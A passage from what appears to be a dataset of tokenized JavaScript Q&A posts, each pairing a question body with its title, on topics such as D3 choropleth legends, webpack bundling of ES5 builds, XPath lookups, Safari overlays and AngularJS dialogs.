this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < tr > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' box '' onclick= '' fillBox ( this ) '' > < /td > < td class= '' vLine '' onclick= '' addLine ( this ) '' > < /td > < /tr > < tr > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < td class= '' hLine '' onclick= '' addLine ( this ) '' > < /td > < td class= '' gap '' > < /td > < /tr > < /table >",Javascript : Checking Surrounding Table Cells "JS : I 'm getting below response of axios call : Click here to download response ( PDF ) When I 'm trying to generate PDF from above link response PDF generated with blank pagesaxios call : Can anyone please help me to generate correct PDF ? var fs = require ( 'fs ' ) ; fs.writeFileSync ( `` 12345678.pdf '' , response.data , 'binary ' ) ; const url = 'url-here'const headers = { 'headers-here ' } ; const axiosConfig = { headers , } ; axios.get ( url , axiosConfig ) .then ( ( response ) = > { var fs = require ( 'fs ' ) ; fs.writeFileSync ( `` 12345678.pdf '' , response.data , 'binary ' ) ; callback ( null , response.data ) ; } ) .catch ( ( error ) = > { logger.error ( error.stack || error.message || error ) ; callback ( error , null ) ; } ) ;",Generating blank PDF file from response in nodejs "JS : Is there any regex ( ! ) which can test if a string contains 3 digits ( never-mind the order ) ? ( at least 3 digits . also I be happy to see the exact 3 solution . ( if you 're kind ) ) example : my fail tries : Thanks . ( only regex solutions please , for learning purpose . ) . abk2d5k6 //3 digitsabk25k6d //same here //3 digits .+ ? ( ? =\d ) { 3 }",Regex for 3 digits ( never-mind the order ) ? "JS : this is my xml document : -this is my javascript html code : -here i am try to input in textbox city name if its match on my xml file then its return me there country name . i dont get any error but not getting result.i think problem in my xPath pleasae help me out of this . < root > < child_1 entity_id = `` 1 '' value= '' india '' > < child_2 entity_id = `` 2 '' value= '' gujarat '' > < child_3 entity_id = `` 3 '' value= '' Ahemdabad '' / > < child_4 entity_id = `` 4 '' value= '' Surat '' / > < child_5 entity_id = `` 5 '' value= '' Rajkot '' / > < /child_2 > < /child_1 > < /root > < html > < head > < script src= '' http : //ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js '' > < /script > < script > var xml ; var ind_sex ; $ .get ( `` code.xml '' , null , function ( data ) { xml = data ; } , `` xml '' ) ; function get_list ( ) { var city = $ ( ' # name ' ) .val ( ) ; alert ( city ) ; var xPath = '//* [ @ value = `` city '' ] ' + '/../../ @ value ' ; var iterator = xml.evaluate ( xPath , xml.documentElement , null , XPathResult.UNORDERED_NODE_ITERATOR_TYPE , null ) ; var thisNode = iterator.iterateNext ( ) ; var str = `` ; while ( thisNode ) { if ( str ) { str += ' , ' ; } str += thisNode.textContent ; thisNode = iterator.iterateNext ( ) ; } $ ( `` # result '' ) .text ( str ) ; } < /script > < /head > < body > < input type= '' text '' id= '' name '' > < /input > < input type= '' button '' name= '' button '' value= '' Search '' onclick= '' get_list ( ) '' > < div id= '' result '' > < /div > < /body > < /html >",get parent element attribute value "JS : I 'm having an odd problem with Safari in an overlay is n't displaying correctly on submitting the form.What should happen is when the submit button on the form is clicked , the overlay appears over the form.What is happening is that nothing is appearing ( though it appears as though something is as I am unable to click said button again ) . What is interesting though is should I cancel the page load , the overlay appears.Here is the javascript code that is running should the form be submitted.Here is the CSS for the `` loading '' class , for what it 's worth.The JavaScript is loading ( the console logs the `` In here '' and `` Show Overlay '' phrases respectively , and if cancelled the overlay appears ) . However the overlay it does n't appear on click.I 've tried on the following browsers , successfully ... .Chrome ( Apple Mac ) Firefox ( Apple Mac ) Internet Explorer ( Windows ) Any ideas would be helpful . Also if you need anything else , please let me know . function main_form_overlay ( ) { var form_outer = jQuery ( '.main-form ' ) , form = jQuery ( '.main-form form ' ) , html , overlay ; html = ' < div class= '' loading '' > < span class= '' text '' > Checking 77 Destinations , please Be Patient < i class= '' fa fa-circle-o-notch fa-spin '' > < /i > < /span > < /div > ' ; form_outer.append ( html ) ; overlay = jQuery ( '.main-form .loading ' ) ; form.on ( 'submit ' , function ( ) { console.log ( `` In Here ! `` ) ; if ( ! overlay.is ( ' : visible ' ) ) { overlay.show ( ) ; console.log ( `` Show Overlay '' ) ; } else { overlay.hide ( ) ; console.log ( `` Hide Overlay '' ) ; } } ) ; } .loading { background : rgba ( # 999 , 0.9 ) ; bottom : -10px ; display : none ; left : -20px ; position : absolute ; right : -20px ; top : -10px ; .text { color : # fff ; font-size : 26px ; font-weight : 700 ; left : 0 ; position : absolute ; top : 50 % ; transform : translateY ( -50 % ) ; width : 100 % ; } }",.submit JS function not displaying CSS overlay in Safari ( unless I cancel page load ) "JS : I am building a Choropleth map in D3.js.Considering that a quantize scale divides values into several discrete buckets , assigning a color to each based on which bucket it falls into . As one can get from the code bellow , I have decided to pass an array of colors , knowing that the scale function then creates a bucket for each color.As I intend to build a legend based on the `` buckets '' that scaleQuantize creates from the data , any advice on how to do this appreciated.The legend that I am trying to reproduce is this one : https : //beta.observablehq.com/ @ mbostock/d3-choroplethindex.htmlapp.jsstyle.css var color = d3.scaleQuatize ( ) .range ( [ 'rgb ( 247,251,255 ) ' , 'rgb ( 222,235,247 ) ' , 'rgb ( 198,219,239 ) ' , 'rgb ( 158,202,225 ) ' , 'rgb ( 107,174,214 ) ' , 'rgb ( 66,146,198 ) ' , 'rgb ( 33,113,181 ) ' , 'rgb ( 8,81,156 ) ' , 'rgb ( 8,48,107 ) ' ] ) ; < ! DOCTYPE html > < html lang= '' en '' > < head > < meta charset= '' UTF-8 '' > < title > VI - Gonçalo Peres < /title > < link rel= '' stylesheet '' type= '' text/css '' href= '' css/style.css '' > < link rel= '' stylesheet '' type= '' text/css '' href= '' https : //maxcdn.bootstrapcdn.com/font-awesome/4.7.0/css/font-awesome.min.css '' > < /head > < body > < nav class= '' navbar navbar-default '' > < div id= '' mySidenav '' class= '' sidenav '' > < a href= '' javascript : void ( 0 ) '' class= '' closebtn '' onclick= '' closeNav ( ) '' > & times ; < /a > < a href= '' # '' > Contexto < /a > < a href= '' # '' > 1.ª Codificação Visual < /a > < a href= '' # '' > 2.ª Codificação Visual < /a > < a href= '' # '' > 3.ª Codificação Visual < /a > < /div > < span style= '' font-size:30px ; cursor : pointer '' onclick= '' openNav ( ) '' > & # 9776 ; Menu < /span > < br > < br > < div class= '' container '' > < a class= '' navbar-brand '' href= '' # '' > < img id= '' logo '' src= '' img/logo.png '' > < /a > < /div > < /nav > < div id= '' intro '' > < h2 > 1.ª Codificação Visual < /h2 > < span > Lorem ipsum. < /span > < br > < span > Lorem Ipsum. < /span > < br > < /div > < div id= '' legenda '' > < h4 > Legenda < /h4 > < span > Lorem ipsum. < /span > < br > < span > Lorem ipsum. < /span > < br > < /div > < div id= '' chart '' > < /div > < div id= '' buttons '' > < button type= '' button '' class= '' panning up '' > < i class= '' fa fa-arrow-up '' > < /i > < /button > < button type= '' button '' class= '' panning down '' > < i class= '' fa fa-arrow-down '' > < /i > < /button > < button type= '' button '' class= '' panning left '' > < i class= '' fa fa-arrow-left '' > < /i > < /button > < button type= '' button '' class= '' panning right '' > < i class= '' fa fa-arrow-right '' > < /i > < /button > < button type= '' button '' class= '' zooming in '' > < i class= '' fa fa-plus '' > < /i > < /button > < button type= '' button '' class= '' zooming out '' > < i class= '' fa fa-minus '' > < /i > < /button > < /div > < div id= '' note '' > < span > Gonçalo Peres | < b > < a href= '' http : //goncaloperes.com/ '' target= '' _blank '' > GoncaloPeres.com < /a > < /b > < /span > < br > < span > Data from : < a href= '' https : //public.enigma.com/datasets/u-s-department-of-agriculture-honey-production-2013/41cf2441-e96f-4113-a02f-402d167a9cd8 '' target= '' _blank '' > Enigma Public < /a > < /span > < /div > < script src= '' https : //d3js.org/d3.v4.js '' > < /script > < script src= '' https : //d3js.org/d3-scale-chromatic.v1.min.js '' > < /script > < script src= '' js/app.js '' > < /script > < /body > < /html > // Width and heightvar chart_width = 800 ; var chart_height = 600 ; var color = d3.scaleQuantize ( ) .range ( [ 'rgb ( 247,251,255 ) ' , 'rgb ( 222,235,247 ) ' , 'rgb ( 198,219,239 ) ' , 'rgb ( 158,202,225 ) ' , 'rgb ( 107,174,214 ) ' , 'rgb ( 66,146,198 ) ' , 'rgb ( 33,113,181 ) ' , 'rgb ( 8,81,156 ) ' , 'rgb ( 8,48,107 ) ' ] ) ; //Navbarfunction openNav ( ) { document.getElementById ( `` mySidenav '' ) .style.width = `` 100 % '' ; } function closeNav ( ) { document.getElementById ( `` mySidenav '' ) .style.width = `` 0 '' ; } // Projectionvar projection = d3.geoAlbersUsa ( ) .translate ( [ 0,0 ] ) ; var path = d3.geoPath ( projection ) ; // .projection ( projection ) ; // Create SVGvar svg = d3.select ( `` # chart '' ) .append ( `` svg '' ) .attr ( `` width '' , chart_width ) .attr ( `` height '' , chart_height ) ; var zoom_map = d3.zoom ( ) .scaleExtent ( [ 0.5 , 3.0 ] ) .translateExtent ( [ [ -1000 , -500 ] , [ 1000 , 500 ] ] ) .on ( 'zoom ' , function ( ) { // console.log ( d3.event ) ; var offset = [ d3.event.transform.x , d3.event.transform.y ] ; var scale = d3.event.transform.k * 2000 ; projection.translate ( offset ) .scale ( scale ) ; svg.selectAll ( 'path ' ) .transition ( ) .attr ( 'd ' , path ) ; svg.selectAll ( 'circle ' ) .transition ( ) .attr ( `` cx '' , function ( d ) { return projection ( [ d.lon , d.lat ] ) [ 0 ] ; } ) .attr ( `` cy '' , function ( d ) { return projection ( [ d.lon , d.lat ] ) [ 1 ] ; } ) ; } ) ; var map = svg.append ( ' g ' ) .attr ( 'id ' , 'map ' ) .call ( zoom_map ) .call ( zoom_map.transform , d3.zoomIdentity .translate ( chart_width / 2 , chart_height / 2 ) .scale ( 1 ) ) ; map.append ( 'rect ' ) .attr ( ' x ' , 0 ) .attr ( ' y ' , 0 ) .attr ( 'width ' , chart_width ) .attr ( 'height ' , chart_height ) .attr ( 'opacity ' , 0 ) ; // Datad3.json ( 'data/USDepartmentofAgriculture-HoneyProduction-2013_properties.json ' , function ( honey_data ) { color.domain ( [ d3.min ( honey_data , function ( d ) { return d.honey_producing_colonies ; } ) , d3.max ( honey_data , function ( d ) { return d.honey_producing_colonies ; } ) ] ) ; d3.json ( 'data/us.json ' , function ( us_data ) { us_data.features.forEach ( function ( us_e , us_i ) { honey_data.forEach ( function ( h_e , h_i ) { if ( us_e.properties.name ! == h_e.state ) { return null ; } us_data.features [ us_i ] .properties.average_price_per_pound = parseFloat ( h_e.average_price_per_pound ) ; } ) ; } ) ; // console.log ( us_data ) ; map.selectAll ( 'path ' ) .data ( us_data.features ) .enter ( ) .append ( 'path ' ) .attr ( 'd ' , path ) .attr ( 'fill ' , function ( d ) { var average_price_per_pound = d.properties.average_price_per_pound ; return average_price_per_pound ? color ( average_price_per_pound ) : ' # 525252 ' ; } ) .attr ( 'stroke ' , ' # fff ' ) .attr ( 'stroke-width ' , 1 ) ; // draw_cities ( ) ; } ) ; } ) ; // function draw_cities ( ) { // d3.json ( 'data/us-cities.json ' , function ( city_data ) { // map.selectAll ( `` circle '' ) // .data ( city_data ) // .enter ( ) // .append ( `` circle '' ) // .style ( `` fill '' , `` # 9D497A '' ) // .style ( `` opacity '' , 0.8 ) // .attr ( 'cx ' , function ( d ) { // return projection ( [ d.lon , d.lat ] ) [ 0 ] ; // } ) // .attr ( 'cy ' , function ( d ) { // return projection ( [ d.lon , d.lat ] ) [ 1 ] ; // } ) // .attr ( ' r ' , function ( d ) { // return Math.sqrt ( parseInt ( d.population ) * 0.00005 ) ; // } ) // .append ( 'title ' ) // .text ( function ( d ) { // return d.city ; // } ) ; // } ) ; // } d3.selectAll ( ' # buttons button.panning ' ) .on ( 'click ' , function ( ) { var x = 0 ; var y = 0 ; var distance = 100 ; var direction = d3.select ( this ) .attr ( 'class ' ) .replace ( 'panning ' , `` ) ; if ( direction === `` up '' ) { y += distance ; // Increase y offset } else if ( direction === `` down '' ) { y -= distance ; // Decrease y offset } else if ( direction === `` left '' ) { x += distance ; // Increase x offset } else if ( direction === `` right '' ) { x -= distance ; // Decrease x offset } map.transition ( ) .call ( zoom_map.translateBy , x , y ) ; } ) ; d3.selectAll ( ' # buttons button.zooming ' ) .on ( 'click ' , function ( ) { var scale = 1 ; var direction = d3.select ( this ) .attr ( `` class '' ) .replace ( 'zooming ' , `` ) ; if ( direction === `` in '' ) { scale = 1.25 ; } else if ( direction === `` out '' ) { scale = 0.75 ; } map.transition ( ) .call ( zoom_map.scaleBy , scale ) ; } ) ; # intro { position : absolute ; top : 250px ; left : 125px ; width : 180px ; text-align : left ; color : # B5B5B5 ; } # intro h2 { font-family : Oswald ; font-size : 25px ; font-weight : 300 ; text-align : center ; color : white ; -webkit-margin-before : 0.5em ; -webkit-margin-after : 0.3em ; } # legenda { position : absolute ; top : 250px ; right : 125px ; width : 180px ; text-align : left ; color : # B5B5B5 ; } # legenda h4 { font-family : Oswald ; font-size : 20px ; font-weight : 300 ; text-align : center ; color : white ; -webkit-margin-before : 0.5em ; -webkit-margin-after : 0.3em ; } body { font-size : 11px ; font-weight : 400 ; font-family : 'Open Sans ' , sans-serif ; text-align : center ; vertical-align : middle ; background : # 111 ; fill : white ; color : white ; cursor : default ; } .navbar-brand { height : 60px ; padding : 5px 0px ; } # chart { width : 800px ; height : 600px ; background-color : # 111 ; margin : 25px auto ; } # buttons { width : 800px ; margin : 25px auto ; text-align : center ; } button { background-color : white ; color : black ; width : 100px ; padding : 10px ; font-size : 20px ; text-align : center ; border : 0 ; outline : 0 ; transition : all .2s linear ; cursor : pointer ; } button : hover { background-color : # 50B98C ; } # note { top : -10px ; left : 10px ; font-size : 12px ; font-weight : 300 ; color : # 6E6E6E ; text-align : center ; } a { color : # 6E6E6E ; } .sidenav { height : 100 % ; width : 0 ; position : fixed ; z-index : 1 ; top : 0 ; left : 0 ; background-color : black ; overflow-x : hidden ; transition : 0.5s ; padding-top : 60px ; text-align : center ; } .sidenav a { padding : 8px 8px 8px 32px ; text-decoration : none ; font-size : 25px ; color : # 818181 ; display : block ; transition : 0.3s ; } .sidenav a : hover { color : # f1f1f1 ; } .sidenav .closebtn { position : absolute ; top : 0 ; right : 25px ; font-size : 36px ; margin-left : 50px ; } @ media screen and ( max-height : 450px ) { .sidenav { padding-top : 15px ; } .sidenav a { font-size : 18px ; } }",Add a legend on a Choropleth map in D3.JS "JS : Problem : After I upgraded AJV.js to Version 6.4 my vendor bundle includes the `` uri-js '' ESNEXT version instead the ES5 version what breaks IE11 compatibillity.Analysis : I figured that that AJV referes to uri-js with a require ( 'uri-js ' ) call and that uri-js comes in two flavors : /node_modules/uri-js/dist/ : es5esnextFor some reason Webpack ( V 4.8 ) bundles the 'esnext ' flavor of uri-js into my vendor-bundle instead using the 'es5 ' . I could n't find how/where I have to specify that my preferred build target is.Here is my webpack.config.js : package.json : I do understand that my own code gets transpiled to ES5 using the TypeScript ( V 2.8 ) compiler . But what about the node_modules ? Especially the one that already ship a ES5 version within their dist-folder ? In case it matters here my tsconfig.json : I also thought about including Babel to downgrade all node_modules to ES5 but that sounds like an overkill to me especially as the modules have included ES5 flavors already.Questions : Can I specify that I prefere ES5 version of the dist folder for my node_modules ? Maybe in my webpack.config or in package.json ? How does the selection of the right node_modules/ ... /dist/ folders work ? const path = require ( `` path '' ) ; const webpack = require ( `` webpack '' ) ; const ExtractTextPlugin = require ( `` extract-text-webpack-plugin '' ) ; const HtmlWebpackPlugin = require ( `` html-webpack-plugin '' ) ; const CopyWebpackPlugin = require ( 'copy-webpack-plugin ' ) ; module.exports = { entry : { app : './src/index.tsx ' } , output : { filename : `` js/ [ name ] .bundle.js '' , path : __dirname + `` /dist '' } , devtool : `` source-map '' , resolve : { extensions : [ `` .ts '' , `` .tsx '' , `` .js '' , `` .jsx '' , `` .json '' ] } , module : { rules : [ { test : /\.tsx ? $ / , loader : `` ts-loader '' } , { test : /\.less $ / , use : ExtractTextPlugin.extract ( { use : [ { loader : `` css-loader '' , options : { localIdentName : ' [ local ] -- [ hash:5 ] ' , sourceMap : true } } , { loader : `` less-loader '' , options : { sourceMap : true } } ] , fallback : `` style-loader '' , publicPath : `` ../ '' } ) , exclude : `` /node_modules/ '' } , { test : /\.html $ / , use : 'raw-loader ' } , { test : /\.jpe ? g $ |\.gif $ |\.png $ /i , loader : `` file-loader ? name=assets/img/ [ name ] . [ ext ] '' } , { test : /\.woff2 ? $ |\.ttf $ |\.eot $ |\.svg $ / , use : `` file-loader ? name=assets/ [ name ] . [ ext ] '' } ] } , plugins : [ new ExtractTextPlugin ( { filename : `` quino/style/style.css '' , allChunks : true } ) , new HtmlWebpackPlugin ( { template : `` src/index.html '' , filename : `` index.html '' } ) , new CopyWebpackPlugin ( [ ] ) ] , optimization : { splitChunks : { cacheGroups : { commons : { test : / [ \\/ ] node_modules [ \\/ ] / , name : `` vendors '' , chunks : `` all '' } } } } } ; { `` name '' : `` MyApp '' , `` version '' : `` 1.0.0 '' , `` sideEffects '' : false , `` description '' : `` - '' , `` private '' : false , `` scripts '' : { `` build '' : `` webpack -- config webpack.config.js -- mode production '' , `` dev '' : `` webpack-dev-server -- config webpack.config.js -- host 0.0.0.0 -- progress -- colors -- history-api-fallback -- mode development '' } , `` author '' : `` Me '' , `` license '' : `` some '' , `` devDependencies '' : { ... . stuff ... . } , `` dependencies '' : { ... . stuff ... . `` ajv '' : `` ^6.4.0 '' , ... . more stuff ... . } } { `` compilerOptions '' : { `` outDir '' : `` build/dist '' , `` module '' : `` esnext '' , `` target '' : `` es5 '' , `` lib '' : [ `` es6 '' , `` dom '' ] , `` sourceMap '' : true , `` allowJs '' : true , `` jsx '' : `` react '' , `` moduleResolution '' : `` node '' , `` rootDir '' : `` src '' , `` forceConsistentCasingInFileNames '' : true , `` noImplicitReturns '' : true , `` noImplicitThis '' : true , `` noImplicitAny '' : true , `` strictNullChecks '' : true , `` suppressImplicitAnyIndexErrors '' : true , `` noUnusedLocals '' : true , `` experimentalDecorators '' : true , `` emitDecoratorMetadata '' : true } , `` exclude '' : [ `` dist/** '' , `` ./*.js '' , `` node_modules '' , `` build '' , `` scripts '' , `` acceptance-tests '' , `` webpack '' , `` jest '' , `` src/setupTests.ts '' ] }",How to select node_modules dist flavor to bundled with webpack "JS : In another question , someone had an incorrect class definition that included code like : The obvious error is that the method should be defined with this.name = ... , without the parentheses after name . When you call the constructor , you get an error because this.name is not defined . I created a simpler example in the console : Is there any context where a function could return something that can be assigned to ? I do n't think Javascript has references like C++ or PHP that can be assigned to . Why does n't this cause a syntax error , rather than different errors depending on whether the function is defined or not ? var myClass = function ( ) { ... this.name ( ) = function ( ) { ... } ; } foo ( ) = 3 ; // Causes : ReferenceError : foo is not definedfunction foo ( ) { } ; foo ( ) = 3 ; // Causes : ReferenceError : Invalid left-hand side in assignment",Why is funcname ( ) = value ; valid syntax ? "JS : In the Material Design mdDialog documentation , I ’ ve noticed that they ’ ve passed a scope ( without a prefixed dollar sign ) to the DialogController near the bottom . I 've read that $ is a naming convention and a good way to make sure variables do n't get overwritten . Why is this code failing to follow that convention ? I.e in this context , how do we know when to use $ or not , and what is the significance ? I believe in this case it must be more than just the naming convention , or the authors would have chosen to use $ scope for purposes of consistency.NOTE : I am aware of the difference between $ scope and scope in linking functions , where scope is pointing to a fixed set of parameters . I do not believe that is why scope is used in this context , but feel free to let me know if I am wrong . Thanks ! ( function ( angular , undefined ) { `` use strict '' ; angular .module ( 'demoApp ' , [ 'ngMaterial ' ] ) .controller ( 'AppCtrl ' , AppController ) ; function AppController ( $ scope , $ mdDialog ) { var alert ; $ scope.showAlert = showAlert ; $ scope.showDialog = showDialog ; $ scope.items = [ 1 , 2 , 3 ] ; // Internal method function showAlert ( ) { alert = $ mdDialog.alert ( { title : 'Attention ' , content : 'This is an example of how easy dialogs can be ! ' , ok : 'Close ' } ) ; $ mdDialog .show ( alert ) .finally ( function ( ) { alert = undefined ; } ) ; } function showDialog ( $ event ) { var parentEl = angular.element ( document.body ) ; $ mdDialog.show ( { parent : parentEl , targetEvent : $ event , template : ' < md-dialog aria-label= '' List dialog '' > ' + ' < md-dialog-content > '+ ' < md-list > '+ ' < md-list-item ng-repeat= '' item in items '' > '+ ' < p > Number { { item } } < /p > ' + ' '+ ' < /md-list-item > < /md-list > '+ ' < /md-dialog-content > ' + ' < div class= '' md-actions '' > ' + ' < md-button ng-click= '' closeDialog ( ) '' class= '' md-primary '' > ' + ' Close Dialog ' + ' < /md-button > ' + ' < /div > ' + ' < /md-dialog > ' , locals : { items : $ scope.items } , controller : DialogController } ) ; function DialogController ( scope , $ mdDialog , items ) { scope.items = items ; scope.closeDialog = function ( ) { $ mdDialog.hide ( ) ; } } } } ) ( angular ) ;",AngularJS — injecting scope ( without $ ) into a controller "JS : I 'm attempting to send lat and lon along with a webcam image and some other data using PHP and javascript- do n't ask , it 's just a small project I started , hoping to learn something . In order for the lat and lon to become available I have to call the webcam function after lat and lon have been retrieved . Here is the javascript I 'm working with ( geolocation portion is from Lynda.com . I combined that with JpegCam ) . I added lat and lon divs to hold the values . Then I call the webcam function now_go ( ) which gets the lat and long using getElementById ( ) . This works great as long as the user shares their location . If they do n't , the now_go ( ) function is not called . But if I call it any earlier , the lat and lon are not available even if the user has decided to share their location . So at what stage in the game can I tell if the user has chosen not to share ? This is the part of the webcam script that I turned into a function so I could call it after lat and lon have been fetched : I 'm sure this code has other issues , but this is what it looks like right now . And being five a.m . I think it 's going to stay that way for a while.Any advice or suggestions would be terrific.Thanks , Mark < script type= '' text/javascript '' > var t = new bwTable ( ) ; var geo ; function getGeoLocation ( ) { try { if ( ! ! navigator.geolocation ) return navigator.geolocation ; else return undefined ; } catch ( e ) { return undefined ; } } function show_coords ( position ) { var lat = position.coords.latitude ; var lon = position.coords.longitude ; element ( 'lat ' ) .innerHTML = lat ; element ( 'lon ' ) .innerHTML = lon ; t.updateRow ( 0 , [ lat.toString ( ) , lon.toString ( ) ] ) ; dispResults ( ) ; now_go ( ) ; } function dispResults ( ) { element ( 'results ' ) .innerHTML = t.getTableHTML ( ) ; } function init ( ) { if ( ( geo = getGeoLocation ( ) ) ) { statusMessage ( 'Using HTML5 Geolocation ' ) t.setHeader ( [ 'Latitude ' , 'Longitude ' ] ) ; t.addRow ( [ ' & nbsp ; ' , ' & nbsp ; ' ] ) ; } else { statusMessage ( 'HTML5 Geolocation is not supported . ' ) } geo.getCurrentPosition ( show_coords ) ; } window.onload = function ( ) { init ( ) ; } < /script > < script language= '' JavaScript '' > function now_go ( ) { var lat = null ; var lon = null ; if ( $ ( `` # lat '' ) .length > 0 ) { var lat = document.getElementById ( 'lat ' ) .innerHTML ; } if ( $ ( `` # lon '' ) .length > 0 ) { var lon = document.getElementById ( 'lon ' ) .innerHTML ; } webcam.set_api_url ( 'webcam/test/ ' + lat + '/ ' + lon ) ; webcam.set_quality ( 90 ) ; // JPEG quality ( 1 - 100 ) webcam.set_shutter_sound ( true , '/mark/js/webcam/shutter.mp3 ' ) ; } < /script >",At what point can I tell if a user has chosen to not share their location ? "JS : As I visit many new websites for the first time , I see that : For some websites , putting my cursor in the email field of signup form immediately shows me email options from what I had entered in other websites.For other websites , putting my cursor in the email field does not give me any email options . And , I have to manually type every letter of the email.I could n't find what piece of code differentiates the two cases . For my website , I am stuck with # 2 . I am trying to achieve # 1 , where user can just re-use emails entered in other websites.I used some code like this : < input type= '' email '' name= '' email '' id= '' frmEmailA '' placeholder= '' name @ example.com '' required autocomplete= '' email '' >",Chrome email field autocomplete options not showing for my website "JS : I have two lists on my controller and I send that lists as ARRAY in a json to JavaScript . See my Controller code here : My list1 - Controller-1My list2 - COntroller-2Its working fine and I can see two ARRAYS on JavaScript : Now I need ... Get data from list1 ( controller1 ) and put it on 4 strings , like : And the Second List/Array pass it to a HTML TableConsole Stringfy : { `` aval '' : [ { `` Total '' :160 , '' Avalia1 '' :25 , '' Avalia2 '' :88.75 , '' Avalia3 '' :73.13 , '' Avalia4 '' :86.88 } ] , '' resumo '' : [ { `` Cod '' : '' 1195 '' , '' Qtde '' :25 , '' Result '' :62 } , { `` Cod '' : '' 1458 '' , '' Qtde '' :15 , '' Result '' :73.33 } , { `` Cod '' : '' 1722 '' , '' Qtde '' :3 , '' Result '' :58.33 } , { `` Cod '' : '' 2246 '' , '' Qtde '' :5 , '' Result '' :65 } , { `` Cod '' : '' 2509 '' , '' Qtde '' :16 , '' Result '' :62.5 } , { `` Cod '' : '' 2769 '' , '' Qtde '' :3 , '' Result '' :100 } , { `` Cod '' : '' 2918 '' , '' Qtde '' :4 , '' Result '' :68.75 } , { `` Cod '' : '' 3473 '' , '' Qtde '' :9 , '' Result '' :66.67 } , { `` Cod '' : '' 5044 '' , '' Qtde '' :8 , '' Result '' :81.25 } , { `` Cod '' : '' 5297 '' , '' Qtde '' :11 , '' Result '' :65.91 } , { `` Cod '' : '' 5463 '' , '' Qtde '' :2 , '' Result '' :100 } , { `` Cod '' : '' 5751 '' , '' Qtde '' :4 , '' Result '' :75 } , { `` Cod '' : '' 5967 '' , '' Qtde '' :5 , '' Result '' :75 } , { `` Cod '' : '' 6211 '' , '' Qtde '' :7 , '' Result '' :60.71 } , { `` Cod '' : '' 6558 '' , '' Qtde '' :8 , '' Result '' :53.13 } , { `` Cod '' : '' 7284 '' , '' Qtde '' :2 , '' Result '' :75 } , { `` Cod '' : '' 7939 '' , '' Qtde '' :17 , '' Result '' :67.65 } , { `` Cod '' : '' 7988 '' , '' Qtde '' :16 , '' Result '' :76.56 } ] } var aval = new List < AvaliacaoViewModel > ( ) ; aval = relData.GetAvaliacao ( data_1 , data_2 , cliente , operador ) ; var resumo = new List < ResumoViewModel > ( ) ; resumo = relData.GetResumo ( data_1 , data_2 , cliente , operador ) ; var result = new { aval = aval , resumo = resumo } ; return Json ( result , JsonRequestBehavior.AllowGet ) ; $ .ajax ( { url : '/Relatorios/AvalOperador ' , dataType : `` json '' , type : `` GET '' , data : { 'data1 ' : data1 , 'data2 ' : data2 , 'operador ' : operador } , success : function ( data ) { debugger ; var aval1 = avalia.getValue ( 1 ) ; var aval2 = avalia.getValue ( 2 ) ; var aval3 = avalia.getValue ( 3 ) ; var aval4 = 